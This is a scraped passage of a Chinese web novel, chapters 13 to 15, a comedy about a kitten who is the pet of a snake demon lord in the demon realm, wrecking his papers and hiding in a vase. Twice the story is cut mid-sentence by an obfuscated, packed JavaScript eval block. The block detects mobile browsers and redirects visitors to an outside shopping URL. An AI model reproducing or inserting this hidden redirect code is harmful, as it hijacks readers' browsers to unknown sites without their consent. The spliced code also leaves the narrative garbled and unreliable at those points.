两袖清风的猫猫都买不起呢。 见猫光搁那儿摇着尾巴,连喵都不带喵一声,晏岐抬指,懒懒拨弄了一下小猫咪耳朵尖上的那一小撮绒毛。 “怎么不说话?” 虞窈没好气地白了他一眼。 猫要是真的开口说话了,那还不得吓死你这条臭蛇? 不过,暂时说不了话也没关系,猫有的是办法。 余光瞅见不远处的砚台,小白猫水灵灵的眼珠子骨碌碌一转。 随即屁颠屁颠地来到砚台边,跃跃欲试的模样。 晏岐倒是想要看看她到底想要做什么,所以并没有任何要制止的打算。 于是便眼睁睁地看着巴掌大的小猫咪直接一头蹦跶进了砚台里。 昨夜才洗得香喷喷的四只山竹爪爪立时就被砚台里的墨染得黢黑,白手套瞬间也变成了黑手套,墨汁四渐。 晏岐:“......” 然后—— 小猫咪哒哒哒、哒哒哒,在几案上留下了一连串的梅花印记后,又啪叽跳上了那封奏信。 黑色小山竹在奏信上面继续来回哒哒哒、哒哒哒。 眨眼间,上面密密麻麻的小字全被踩成了一朵朵墨黑色的小梅花。 做完这一切,小猫咪才心满意足地停下来,昂首挺胸,尾巴高翘。 嘛,奏信的内容猫很满意,这只妖的字写得也很不错。 伟大的猫猫大王于是决定,赏赐五十六朵小花花,以示嘉奖。 13. 第十三章 “小白,你真厉害,短短一个下午就毁掉了尊上两件衣裳,还把寝殿弄得一团糟,换做是其他妖的话,都不知道死了有多少回了。” 月明星稀,夜风吹拂。 月女守在小白猫旁边,看着她第五次被泡进温水盆里,由一旁今夜值班的绵羊妖仆高央给她洗爪爪。 小狸奴的爪子都快要被洗秃噜皮了。 那些墨渍依然顽固地残留在她的毛发上面,看起来最起码还得洗个两三次,才能够彻底变回原来白白净净的模样。 虞窈用柔软的猫猫脸蹭了蹭月女的手,又扬起毛茸茸的大尾巴,从高央的手臂上轻柔扫过。 随即发出了软乎乎的一声:“喵。” 厉害又有什么用? 猫后悔了。 这种杀敌一千、自损八百的事情,猫再也不想干了。 她不单单错过了晚饭,这会儿饿得肚子咕咕打雷不止,还被高央按在这个水盆里,不由分说地揉搓了将近半个时辰的爪爪。 她的肉垫都要被水给泡软啦QAQ。 小猫咪只是想奖励写了那封奏信的妖一些鼓励的小花花,小猫咪又能有什么坏心思呢? 不过,转念想到晏岐非但没有来得及看清奏信上的内容,那封奏信就被自己毁掉......啊不,变成了一封漂亮的梅花印收藏集了。 并且,在晏岐探手过来、她却误以为这条臭蛇是想要揍猫,而下意识变得应激起来。 不光一脚踢飞了几案上的茶盏,还力大如牛地把堆在一起的奏信全部踹翻到了地上,尖锐锋利的爪爪同时亮出,随机抓破了好几封飞在半空中的奏信。 而猫自己则在寝殿里撒欢似的狂奔起来。 不仅把晏岐刚换了没一会儿的新衣裳又踩出了好些梅花印,就连周围的地毯也开满了深浅不一的朵朵黑梅。 这么一想,或许应该更正一下:是杀敌两千,自损五百。 这一回合,猫猫血赚。 得到传召的日尧和月女匆匆赶来时,看到的就是这么一副蛇默猫跳的画面。 一蝴蝶一狗统统傻了眼,完全不敢想象小猫咪会被盛怒之下的尊上如何对待。 就算不被丢去万兽窟,恐怕也逃不过被扔进熔炉里、充当炼丹燃料的命运了吧。 然而,让他们万万没有想到的是,尊上在凝眸静默了一会儿后,却只是简单挥了挥手,要他们把小猫咪带下去,叫妖仆来把她爪子上的墨渍洗干净。 日尧拎着小猫咪的后脖颈,生怕她爪子上的墨渍沾到自己的斗篷上面。 ——尽管乌漆嘛黑的斗篷不管有没有沾上墨渍,也压根看不出来有什么区别。 少年傻愣愣地立在原地问:“尊上,洗干净了......之后呢?” 拿去喂万兽窟的那群凶兽还得要洗得白白净净的? 会不会有点太讲究了。 晏岐只是淡淡地斜瞥了他一眼,幽暗深邃的竖瞳里没什么情绪:“之后,饿她半个时辰,让她长长教训。” 说完,晏岐才微微侧了下头,视线慢慢移到了小白猫身上。 小狸奴被日尧提溜在手里,这会儿表现得倒是异常乖巧。 四条腿腿都自然下垂着,直挺挺地让日尧拎,蓬松的大尾巴在身后甩来甩去。 无辜,安静,听话。 和方才比起来,活脱脱就像是换了只猫。 晏岐呵笑一声。 明明是在交代日尧,瞧着却更像是在和小白猫说话:“再有下次,就直接不给饭吃,也好减减她使不完的精力。” 日尧和月女齐齐傻眼:就这? 小猫咪把尊上的寝殿闹得这般天翻地覆、满地狼藉,惩罚居然就只是不给饭吃? 这说出去谁敢信啊? 不管是被小猫咪抓脸,还是被血淋淋的生骨肉挑衅,又或是被小猫咪无视、拳打脚踢,还有今天发生的这些事情。 种种叠加在一起,尊上非但没有动怒,这反应反而更像是乐在其中。 日尧的心里不由得浮出了一个极为大胆的念头。 尊上他...他...... 他该不会是个m吧! 这个想法才刚冒出个苗头来,日尧就被自己这过于大胆的猜测给吓了一跳。 但,细思极恐。 尊上可从未否认过他是个受虐狂这回事。 一想到这里,日尧不免有些蠢蠢欲动。 他好像知道如何能更讨尊上欢心、让尊上更加喜欢自己了! 拎着猫和月女一道朝寝殿外走去,日尧忽然悄悄放出了妖形的尾巴,在路过摆放在博古架上的青瓷花瓶时,尾巴对准花瓶就是轻飘飘一扫。 那青瓷花瓶便从架子上被生生拂了下去。 只听清脆的一声“咔嚓”,花瓶应声碎了一地。 月女震惊地转头看过来,宽大的斗篷下,蓦地瞪大了的透蓝圆眸像是在无声质问:你这条笨狗又在做什么,疯了吗你? 日尧却很是得意地朝她小幅度抬抬下巴,那表情像是在说:等着瞧吧你,接下来就是见证奇迹的时刻! 果不其然,尊上的声音从身后幽幽传了过来:“日尧。” 日尧的尾巴立时在身后甩成了螺旋桨,险些就要翘到天上。 很好,尊上叫他了!一切都在狗的计划之中。 日尧马不停蹄地提溜着猫转身,拼命压下想要疯狂上扬的唇角:“尊上,日尧知错......” 一句话尚未说完,就见尊上的唇角微微下压,睨向他的眸光尤为森沉。 幽暗的瞳眸犹如深渊一般,对而凝视时深不见底。 “是本尊平日太放纵你和月女,没有督促你二人修炼,以至于你虽身为本尊的暗卫之一,现在却连自己的妖形都收不住,还变得如此毛手毛脚了?” 日尧震惊:等等,不儿,剧本的走向怎么跟他写的不太一样? 月女也震惊:等等,不儿,是日尧这笨狗突然抽风,尊上您要骂他就骂,可千万别带上我呀,我平时修炼得可认真可勤快啦! 晏岐背过身,褪下了还有朵朵黑色梅花印的外袍:“把猫给月女,自己去忏苦司领罚思过吧,十二个时辰后再出来。” “如有再犯,这暗卫你也不用再继续当了。” 闻言,日尧一脸不可置信。 狗又输了?狗凭什么又输了!这简直就是赤裸裸的双标! 旁边的月女则忍不住白了他一眼:蠢狗就是蠢狗,一天到晚就知道犯傻。 ... ... 于是,本该领着猫来洗爪子的妖的数量就这么从二变成了一。 一盆干净的温水很快就在高央温柔的搓洗下从清澈变成了黝黑。 高央端起铜盆,恭敬道:“月女大人,仆再去换道水。” “去吧。”月女边说边用手揉了揉小猫咪的脑袋。 ——经过一猫一蝴蝶这两日的相处,月女已经能够做到十分坦然地揉搓小猫咪的脑袋、抚摸小猫咪的尾巴,偶尔还会用指尖碰碰她湿漉漉的粉色鼻尖。 然后再双手捧脸背过身去,无声尖叫。 虞窈配合着月女的动作,主动踮起脚脚,刚要用毛茸茸的小脑袋去顶月女的手掌心。 “咕噜噜——” 格外响亮的一声肚子叫令月女和小白猫都怔愣住了。 猫率先反应过来。 身子僵了僵。 随即抬头深情望天:啊,这天可真天啊。 再低头舔舔脖颈处蓬松的绒毛:啊,这毛可真毛啊。 接着转头甩甩尾巴上沾着的水:啊,这尾巴也可真尾巴啊。 总而言之,才不是猫叫的。 不是猫不是猫。 几息过后,猫才状若无事发生地悄咪咪转回半只鸳鸯眼,偷偷打量起月女的表情。 见月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004152|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女止不住地弯起了眼在笑,小白猫放松下来,也极细极轻地“喵呜”了一声。 声音很软,是非常纯正的小奶音。 然后伸出肉垫,小心翼翼地没有亮出爪爪,只扒拉了下月女的斗篷一角,又朝不远处的石桌晃晃尾巴。 石桌上摆满了妖厨一早就做好了的吃食,用特殊的术法仔细温着,只是还没到晏岐规定的时间,不能喂猫。 月女瞬间就领会了小白猫的意思。 她有些为难地摸摸小白猫的脑袋:“这,小白,尊上罚你的时间还没到呢。” 猫把月女的斗篷扒拉得更加起劲了。 软乎乎的肉垫甚至还搭到了月女的小臂上,左踩一下,右踩一下,喉咙里发出类似于发动机的呼噜噜声。 那双漂亮的鸳鸯瞳里像是盛着汪清水,水润润、晶亮亮,看起来尤为动人,又可怜巴巴。 仿佛在说:求求你了,喂喂猫吧,猫真的快要饿鼠啦。 月女没有养过猫,却也曾听柳幸说过,小猫咪的这种行为用凡人的话来说,叫做踩奶。 是只有身处在让小猫咪感到十分安全舒适的地方,又或是在面对喜欢信任的人时才会这样做。 四舍五入不就是,小白特别喜欢且信任她? 那还说什么了。 月女蹭地一下就站起身,施施然来到石桌边,捻起了最边上的一块桂花糕。 她假模假样地尝了一口,随后轻蹙起眉,一本正经地自言自语道。 “噫,真难吃,这种吃食如何能呈给尊上的妖宠?还是倒掉好了。” 说罢,绚丽的蓝色多瑙河蝶便从她的袖口里飞出,托起盛着桂花糕的盘子就往身后“倒”。 巴掌大的小白猫用两只前爪抱起桂花糕就开啃,狼吞虎咽的同时,又含糊不清地连着发出了三声“喵”。 要鸡腿! 月女竟也心领神会:“这大鸡腿做得也不怎么样,瞧着像是腌过头了,丢掉丢掉。” “话说回来,这芸豆炖猪蹄是丢还是不丢呢?” 猫:“喵!” 丢! 月女:“喔,这猪蹄都没有炖耙,万一不小心把尊上妖宠的乳牙给崩坏了该怎么办,不行不行,必须全部扔掉。” 端着铜盆去而复返的高央看到的,就是月女站在石桌前“扔”,小白猫晃着尾巴在她身后面等着吃的一幕。 绵羊妖结结巴巴:“月女大人,你...你们......” 一蝴蝶一猫皆是被她的声音给吓了一跳,像是被人抓了现行,底气不足地齐齐扭过头来。 就差把“做贼心虚”四个字明晃晃地写在脸上。 数月女的反应最快。 她收回小蝴蝶群,无数只多瑙河蝶回到她的指尖上翩迁起舞,在月夜下散发着迷人又危险的蓝色妖息,好不漂亮。 这是月女第一次在虞窈面前展现出自己真正实力的一面。 毕竟,少女的长相与声音实在是太具有迷惑性了。 常常会让人忽略了,小蝴蝶其实是有着元婴巅峰修为的强者,根本就没有她表面上看起来那么娇小柔弱。 少女同时板起脸来,故意压低声音,冷声问道:“高央,你方才看见什么了?” 高央闻言愣住,不知所措地眨一眨眼。 面前,是月女大人赤裸裸的威胁。 低头,是那只小狸奴端坐在地上,无辜又可爱地冲着自己喵喵叫。 高央:“......” 她觉得自己这辈子脑袋都没转得这么快过。 几乎是毫不犹豫地就抬起了头来,长叹一声:“回月女大人,仆看见了今晚的月亮又大又圆,星星也又多又亮。” “就是今晚的风儿甚是喧嚣,仆刚刚打好的水好像又被风给吹凉了。”说着,高央端着铜盆就转过身去。 “月女大人请稍等片刻,仆再去换一道水来好了。” 14. 第十四章 一夜过去,相安无事,没有人知道庭院前一晚到底发生了什么。 只有猫得到了香喷喷的吃食。 月女收获了猫的进一步信任。 高央也在给猫搓完爪爪后,获得了猫的两个亲亲:辛苦啦。 ... ... 就这样,虞窈一连在妖界里度过了还算潇洒自由的几天。 不知为何,晏岐对她这只妖宠的态度很是纵容。 猫也很会见风使舵,于是更加得寸进尺。 不过短短几天时间,猫就成功抓烂了两床晏岐的冰蚕丝被,啃坏了六支笔架上的毛笔,还顺爪一扒拉,踢碎了三个摆放在博古架上的瓷瓶。 只因奏信一事后,聪明的猫猫又又又顿悟了。 光靠一日三餐就想吃垮妖界的金库,猫不得吃到哪个猴年马月去了。 更何况,猫每天吃的那点东西所需要的灵石,说不定还没有妖界每天赚的多呢。 不过,吃是吃不过来了,但是小猫咪还可以搞破坏哇! 身为妖界的尊主,晏岐的吃穿用度虽谈不上奢靡无度,但样样可都是顶配中的顶配。 就好比她昨天踢碎的那只绿纹凤竹花口瓶,听说就是某个领地的妖王为了讨好晏岐,花了天价从别处买来的。 放眼整个三界,仅存十只,几乎到了有价无市的程度。 晏岐这条臭蛇甚至还提溜着她的后颈吓唬猫,说什么那花口瓶价值连城,千千万万只她这样的小猫咪加起来都赔不起。 ——却成为了小猫咪的爪下亡瓶。 虞窈对此很不屑一顾。 嘁,价值连城有什么用?千千万万只小猫咪都赔不起又如何? 这样的花口瓶三界好歹现存还有十......啊不,昨天过后,就只剩下九只了。 然而放眼整个三界,她这样的猫猫可是只有一只,是独一无二的哇! 所以,一小于九,此为一胜。 更不要说短短这么几天时间下来,小猫咪的身价暴涨,早就超过了那只花口瓶,此为二胜。 再者,小猫咪还能动不动就给蛇生个几千枚上品灵石才能治的小病。 事已至此,小猫咪完胜! 至于,听说了小猫咪踢碎了绿纹凤竹花口瓶、却没有得到任何惩罚的日尧很是忧郁。 凭什么,到底是凭什么!狗究竟哪一点比不过猫! 愤愤不平的日尧于是才刚从忏苦司里出来没几天,就忍不住开始偷偷怂恿起月女。 “月女,你能不能也找个机会打碎一只瓷瓶,看看尊上是何反应?” 他实在是太想知道这样的待遇究竟是单给那只小狸奴的,还是除了他以外,别的小妖都有。 结果换来月女的一个白眼,外加一句十分直白的“神金。” 不过,猫决定暂时先消停一阵子,过个几天再继续搞破坏了。 倒不是猫心疼蛇的灵石,要放他一马。 而是可恶的蛇又在威胁猫,胆敢再继续弄坏妖殿里的东西,就真的要开始克扣猫的吃食,一整天都不给猫饭吃了。 小气小气,真是小气。 蛇坏,猫好。 不搞破坏的小猫咪暂时不用琢磨那些坏心思,自然而然地空闲了下来,整日不是四处睡大觉,就是和别的妖玩。 毕竟,身为妖界的尊主,晏岐的时间与精力不可能全部花在一只妖宠身上,而月女也不是每天都有时间陪伴小猫咪的。 小蝴蝶偶尔会被晏岐派去和日尧一道执行一些任务,每每这个时候,陪小猫咪玩的重任自然而然就落到了高央头上。 能够成为蛇尊妖宠的“玩伴”,高央无疑是变相升了职,还是连跳了好几级的那种。 高央简直受宠若惊,刚知道这个消息的时候,还有些呆愣愣地用羊蹄指了指自己。 “我?让我去陪尊上的妖宠?居然还有这种好事?” 从别的妖口中得知是月女大人引荐的自己后,高央于是不由得想起了给小狸奴洗爪子的那晚,自己忽然之间鬼迷心窍、在那里“装疯卖傻”的经历。 天哪,自己那时候的决定果然没错! 高央闭上双眼,虔诚地双蹄合十:感恩小猫咪,感恩月女大人,感恩老己。 但,陪伴尊主的妖宠这件事,其实并没有表面上看起来这般轻松和有趣。 一旦一不小心哪里出了差错,就是会弄掉脑袋的大事。 吃过饭的虞窈和高央在庭院里玩了一会儿之后,就变得昏昏欲睡起来。 小猫咪规规矩矩地趴在草地上,毛茸茸的小脑袋一下下轻轻点着,困得连眼皮都快要睁不开了。 看得高央一整颗心都快要跟着化掉,也不由自主地放轻了声音。 “小猫是不是困了?仆带你去偏殿里歇息好不好?” 像她这样的妖仆是没有资格踏足尊上的寝殿的,所以晏岐不在的时候,虞窈都会被带到一开始居住的偏殿去休息。 猫翻了个身,四脚朝天的小猫咪索性闭着双眼,只向上举起两只毛茸茸的前爪,露出了软乎乎又圆滚滚的肚皮。 抱~ 高央顺势将小白猫抱起,同时在内心无声呐喊尖叫:世上怎么会有这么可爱的小猫咪?三界没有小猫咪就转不了! 回到偏殿里后,高央把小白猫放到软垫上,习惯性地去关殿门、开窗户、点熏香。 然而再转过身来时,软垫上的小白猫却不见了踪影。 起初,高央还以为小猫咪是睡到了哪个角落,亦或是藏在了某处拐角。 毕竟,这只小狸奴似乎很喜欢和妖玩捉迷藏。 偶尔猫会趁着妖不注意,躲到爬架底柱的背后,亦或是藏去桌角的后面,再在妖走过来的时候突然跳出来吓唬妖。 高央每次都很配合她,会在小猫咪扑出来的瞬间拍拍胸脯、后退半步,作出一副受到了惊吓的样子。 ——尽管小猫咪的躲藏技术其实十分拙劣,每次都会不自知地露出半只毛茸茸的耳朵,或是一小截蓬松的尾巴。 高央以为这次小猫也是在和自己玩捉迷藏。 找完了偏殿的四个角,都没有发现猫的踪影后,便开始去寻猫平时玩躲猫猫藏身的地方。 边找边跟哄小孩似的:“小猫又躲到哪里去啦?是谁家的小猫这么会躲,哪里都找不见小猫咪呀?” 但是很快,高央就哄不出口了。 因为她绝望地发现,偏殿里所有地方都没有那只小狸奴的身影。 小白猫就像是从偏殿里蒸发了一样,只在地上给她留下了几根细小的浮毛。 可是,这根本就不合理啊。 且不说她就转个身的功夫没有盯着小白猫而已,更何况偏殿设有结界,一只几乎没有任何妖力的小小狸奴,怎么可能突破得了结界,就这么凭空消失不见了呢? 高央一边怀疑妖生,一边不死心地把偏殿重新翻了个底朝天,依旧没有发现那抹小小的白色身影。 完蛋了,这回是真的要完蛋了。 绝望的高央瘫坐在偏殿的地上,忍不住伸手摸了摸自己的脖子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004153|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 救命!绵羊脑袋不保。 等到去忏苦司的晏岐带着日尧和月女回到妖殿,心如死灰的高央把小白猫离奇消失不见的事情如实报了上去。 “所有的地方都找过了?”听完来龙去脉的晏岐面色阴冷,气压很低。 他的身上还有十分浓郁的血腥味,是其他妖的血。 以至于眸光轻飘飘落在高央的身上时,仿佛连周围的气温都跟着骤降了好几度。 熟悉他的日尧和月女都知道,之前威胁吓唬小猫咪的那几次都是小打小闹,尊上这一回是真真切切地动了怒。 如果最后真的没有找到小猫咪,仔细追究起来,就这么一颗绵羊脑袋可是根本不够赔的。 高央跪在地上,额头紧贴着冰冷的青石地板,身体抖若筛糠。 “禀尊上,仆都、都找过了。” 时间仿佛也跟着凝固了下来。 高央只听到了自己的死亡倒计时还在滴答滴答。 不知过去了多长时间,面前尊贵高傲的男人才发出一声轻呵:“再找。” 那双狭长的墨绿色竖瞳微微眯起,晏岐垂着眼睑,玉白的长指随意地转动了下戴在指间的翡翠扳指。 竟忽然笑了。 “本尊倒是想知道,本尊的妖宠是如何能在本尊的眼皮子底下消失不见的。” 妖仆们顿时倾巢而动,阵仗之大,把妖殿里所有能够藏身的地方都给找了个遍,却全都一无所获。 更加古怪离奇的是,妖殿的每一处结界也都完好无损,而小猫咪若是想要从妖殿里逃离,想要不惊动这些结界,是根本不可能的事情。 群妖重新回到偏殿。 三陨边牧皱皱鼻尖,闻到熟悉的气息,十分确定:“这里的气味最浓,小狸奴绝对还在殿里。” 妖仆们于是瞬间就把偏殿给围堵得水泄不通。 这间偏殿本来是很空旷的,但一下子容纳了这么多只妖,再怎么宽敞的偏殿也自然而然地变得狭小了起来。 众妖们掀地毯的掀地毯,抬桌子的抬桌子,甚至有爬行类的妖直接变回了妖形,蹿上房梁去找。 而虞窈就是在这么大的阵仗下迷迷糊糊地醒过来的。 周围吵吵嚷嚷,把猫的脑瓜子也吵得嗡嗡的。 她能够清楚地感知到自己所在的地方莫名其妙地飞了起来,并且还伴随着程度不低的震荡与摇晃。 说实在的,猫有点懵。 怎、怎么回事。 地动了?还是她多年以来的愿望得以实现,其他两界终于率兵来攻打妖界了? 一枚毛绒绒的小猫脑袋瞬间就从花瓶瓶口里钻了出来,一瓶猫不太清醒地探头四处望去,想要弄清楚到底发生了什么事情。 未曾想紧接着的下一秒,就与整个妖殿里最先锁定她的晏岐撞上了目光。 长身鹤立的男人眼神平静,深邃森冷的眼眸就这么穿过还在偏殿里来回穿梭找猫的一众妖仆,不偏不倚地与她对视。 或许是还没有彻底清醒过来,尚迷迷糊糊着的虞窈竟猝不及防地因晏岐这样冰冷的眼神而轻微炸了毛。 ......搞什么,怎么一下子变得这么凶。 可猫今天明明很乖,都没有惹你! 小白猫往下压了压毛绒绒的耳朵,深思熟虑一番后,决定先撤回一枚猫猫头,暂避锋芒。 于是两息后,一瓶猫毫不犹豫,重新缩回了花瓶里。 快得只留下了一道残影。 仿佛方才的那枚猫猫头,只是晏岐的幻觉一样。 15. 第十五章 “都出去。” 偏殿里明明分外嘈杂,被众妖的脚步以及四处搬动物什的声音所占据。 晏岐低沉清冽的声音却依然无比清晰地传进了每只妖的耳朵里。 妖仆们听从命令、鱼贯而出,方才还闹哄哄的偏殿瞬间就安静了下来。 除了晏岐以外,就只剩下身为妖尊暗卫的月女和日尧。 一蝴蝶一狗面面相觑。 怎么回事?不找猫了吗? 望着晏岐清冷的背影,就算清楚自己是隶属于尊上的暗卫,理应万事听令于尊上的月女,也依然不太甘心地悄悄攥紧了掌心。 少女暗自在心里盘算着,如果尊上真的不打算继续找猫了的话,她说什么也要把小白给找回来,不能放弃。 毕竟,小猫咪喜欢小蝴蝶,小蝴蝶也非常非常喜欢小猫。 旁边的日尧同样也在心里天人交战。 真不找了?这不对吧? 那狸奴虽然一直都不怎么讨狗的喜欢,可尊上明明就挺稀罕那只小猫咪的呀。 蝴蝶也是。 找不到猫,蝴蝶会伤心。 狗又不会哄蝴蝶,只能够从根源上解决问题。 却见尊上径直朝着坐落在角落里的博古架走去,信手拿起了摆放在架子上的玉壶春瓶。 “出来。” 日尧和月女闻言都有点懵。 什么出来?里面莫非藏有什么东西吗? 却见那玉壶春瓶纹丝不动,像是装了一瓶子的空气。 晏岐声色如常,继续对着瓶子说道:“再不自己出来,本尊就只好把你从里面给倒出来了。” 闻言,瓶子里的猫机敏地竖了竖耳朵。 倒出来?那猫岂不是要屁股墩朝天,脑袋锤地? 不可不可不可。 这样的姿势不太文雅,猫不同意。 于是就见那玉壶春瓶自己窸窸窣窣地动了起来,片刻后—— 先是有两只毛茸茸的小爪子搭上瓶口,紧接着“噗叽”一声,一只猫猫头就紧跟着从里面硬生生挤了出来。 小狸奴脸颊上的那些绒毛被瓶身挤压得有些凌乱,纤长茂密的胡须也胡乱绞在了一起。 许是觉得毛发这样乱糟糟的很不舒服,小白猫用力甩了甩脑袋,把头晃成了拨浪鼓。 无数浮毛纷飞的同时,还有浓浓的小猫味扑面而来。 那双炯炯有神的鸳鸯眼随即望向了面前的晏岐与蝴蝶狗。 猫很是无辜:“咪呜~” 当当当当,大变活猫! 月女的眼睛霎时亮起,没顾上晏岐还在旁边,惊喜出声:“小白!” 你怎么会藏在这里?你怎么藏进的这里? 有着同样疑问的不止月女。 晏岐很轻地偏了下头,狭长的眼眸微微上挑,盯着瓶口那只模样乖巧的狸奴脑袋。 “所以,你要不要重新给本尊演示一下,你是怎么钻进的这瓶子?” 毕竟,这玉壶春瓶是上窄下宽的造型,瓶颈处细长狭窄,从颈口的位置往下才逐渐向两侧加宽,是十分对称的“S”型。 毫无疑问,玉壶春瓶的下半部分是可以容纳得下一只三个月大的小猫咪的。 可最大的问题就在于,这颈口太过细窄,而以小狸奴近来日渐圆润的身形,根本就不可能挤得过去。 这也就导致在找猫的时候,不管是高央还是那些妖仆,压根就没想过小猫咪会藏进这里,甚至还在里面安然舒适地睡了一觉。 就算是现在,小猫把脑袋露在了瓶口外面,也让人很难想象出来,颈口那部分究竟是如何容纳下小猫的身体的。 猫却十分灵活地在玉壶春瓶里转了个身,圆润润的后脑勺对准晏岐。 拒绝的意思很明显。 你让猫演示猫就得给你演示啊?真是好大的面子。 猫不听,猫不要。 “不演示也可以。”晏岐这会儿竟也比想象中的好说话。 “不过,高央玩忽职守,没能看住你,送去忏苦司砍四肢,剥羊皮。” 猫:“?” 你玩赖的,又威胁咪? 她就是太困了,突发奇想在这个花瓶里睡一觉,是你的那些手下太没用,连只猫都找不到,怪小绵羊干什么! 小白猫忿忿扭过脑袋,十分恶狠狠地冲晏岐哈气。 晏岐视若无睹地继续说道:“至于高央是由月女引荐,理应连坐受罚,不过念及月女是本尊的暗卫,便只折妖形一对翅膀,以儆效尤。” 月女:“?” 哎哎哎,您吓唬猫就吓唬猫,带上蝴蝶干什么?蝴蝶又不是你们play中的一环。 晏岐:“还有日尧......” 莫名其妙被点名的日尧不可置信地用手指了指自己:“?” 啊?又我?狗干啥了?狗没惹啊。 “喵喵喵喵喵!”一连串的猫叫声打断了晏岐的话。 虽然听不懂小白猫又在叫些什么,但从她那张不停猫猫咧咧的小猫脸上就能看得出来。 是的,没错。 小猫咪又在礼貌地问候蛇的族谱,口吐芬芳。 但问候完,猫还是摇摇晃晃地从玉壶春瓶里探出肉垫,搭在了瓶口边沿上。 随即借力撑起上半身,最后从瓶子里顺滑地钻出来了一只完整的猫。 整个过程都十分流畅。 猫还非常骄傲地挺起了胸膛,翘起了尾巴。 众所周知,猫是液体哇! 在月女的惊叹声中以及日尧瞪大了的双眼注视下,猫甚至来了劲。 毛绒绒的身体抖擞抖擞,又如水一般很是自然地重新钻回了瓶子里,两息之后再冒出来。 然后又钻进去,又冒出来,再钻进去,再冒出来。 诶猫来了,诶猫又走了~ 小小的猫脑袋就这么在玉壶春瓶的瓶口进进出出,如果这会儿能够从天而降一只棒槌的话,都可以玩上打地鼠......啊不,打地猫了。 其实,妖界向来是尊重妖宠宠格,拒绝妖宠表演的。 ——但拦不住妖宠非要表演。 就在虞窈玩得不亦乐乎,再一次从瓶口里钻出了小猫脑袋的时候,一只冰冷的大掌忽而从上方罩来。 伴随着“啵唧”一声,修长的手指拎着小白猫的后脖颈,就把她从玉壶春瓶里整只提溜了出来。 小白猫登时就扯着嗓子嗷嗷叫唤起来,不满地在半空中挥舞起四肢。 诶诶,猫还没表演够呢,快放开猫! - 这次乌龙闹到最后,高央成功保住了自己的绵羊脑袋,月女也护住了自己的蝴蝶翅膀。 至于日尧......日尧就算了,不提也罢。 狗不重要。 只有猫又被晏岐带回自己的寝殿里,放在了眼皮子底下。 小白猫恹恹地蜷缩在地毯上面,蓬松的大尾巴盘在身前。 猫不服,猫很难过,猫想要四十五度望天,这样眼泪就不会轻易落下。 为什么!为什么别的妖拿到的都是合家欢剧本,最后受伤的只有猫! 染了一身血腥味的晏岐这会儿正在石壁后面沐浴冲凉。 不多时,石壁就从中间呈太极状打开,潮湿的白雾从里循循飘出。 小白猫支起上半身抬头看去,下一秒,又“嘎巴”一下重新瘫回到地毯上,变成了一根直挺挺的细长猫条。 没劲,真是太没劲了。 ——这次的晏岐居然穿了衣裳。 好在晏岐和往常一样,并没有打算来“招惹”猫。 之所以非要把小白猫放在自己的寝殿里,更重要的一个原因,或许单纯只是蛇尊把小白猫当成了自己的所有物,所以才不允许她离开自己的地盘分毫。 漆发未干,晏岐也并不在意,只是很随意地把所有长发全都拨到了一侧去。 有水顺着发梢末端滴落,他身上的白色寝衣也跟着变得透明起来,勾勒出了明显的肌肉块垒,还有墨绿色的蛇鳞若隐若现。 或许是因为身上的旧伤一直未愈,晏岐本就不似常人的肌肤在摇曳烛火的映衬下,显得更加苍白了一点,微微下压的薄唇看起来也没有什么血色。 唯有眼下的那颗红色小痣妖艳如常。< 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两只爪爪同时小幅度地在原地来回跺着,全神贯注地盯紧了那一抹绿色的尾巴尖不放。 是灵猫一族很标准的捕猎姿势。 然后,一号小猫咪选手骤然化身成一道白色闪电,以迅雷不及掩耳之势急速接近了目标。 蹦、跳、扑—— 每个姿势都十分标准,没有丝毫的拖泥带水。 如果小猫咪选手没有刚好从蛇的尾巴尖边上擦尾而过的话,那么就可以给到小猫咪选手完美的十分了。 第一次遗憾扑空,猫没有灰心,很快就重新调整好了姿势,准备第二次扑咬。 第二次,爪子只碰到了一点点的尾巴尖,跟碰瓷没什么区别。 第三次,尾巴尖扫过了猫的脸颊,还挑逗似的轻勾了下猫的下巴。 如此反复几次,虞窈终于意识到似乎有哪里不太对劲。 小白猫昂起头来。 ——只见这会儿本该在翻阅卷轴的晏岐,视线已经从卷轴上移了开来。 他姿态慵懒地倾身侧倚着几案,湿润的长发如小蛇一般凌乱地垂落在了地毯上。 那双狭长多情的墨绿色竖瞳居高临下地微微弯起,眼下的红痣妖异非常。 男人一手拿着卷轴,一手支着下颌,手背上脉络清晰的青色血管微微凸起,正歪着头,似笑非笑地打量着她。 也不知保持着这样的姿势,暗自观察了她多久。 暗色长尾缓慢又轻地从小猫咪的头顶上拂过,晏岐轻声问道。 “不玩了吗?” 意识到自己耍蛇不成、反被蛇耍,虞窈气鼓鼓地转身,小短脚猫猫祟祟地就要远离蛇的尾巴。 没意思,还是跟小蝴蝶和小绵羊一起玩得更加开心。 这劳什子逗猫棒,猫不要了。 结果刚溜出去没几步,冰凉的蛇尾就忽地沿着地毯游动过来,无声缠上了小白猫的腰。 身后男人的声线和缓懒倦,靡丽的嗓音里总是有着一种挥之不去的慵懒意:“不打算继续玩本尊的话,就该让本尊玩玩你了。” 猫:“?” 等等等等,这都是些什么污言秽语,猫听着怎么就这么奇怪呢? 小猫咪听不得这些,听不得! 可是,容不得小猫咪反抗。 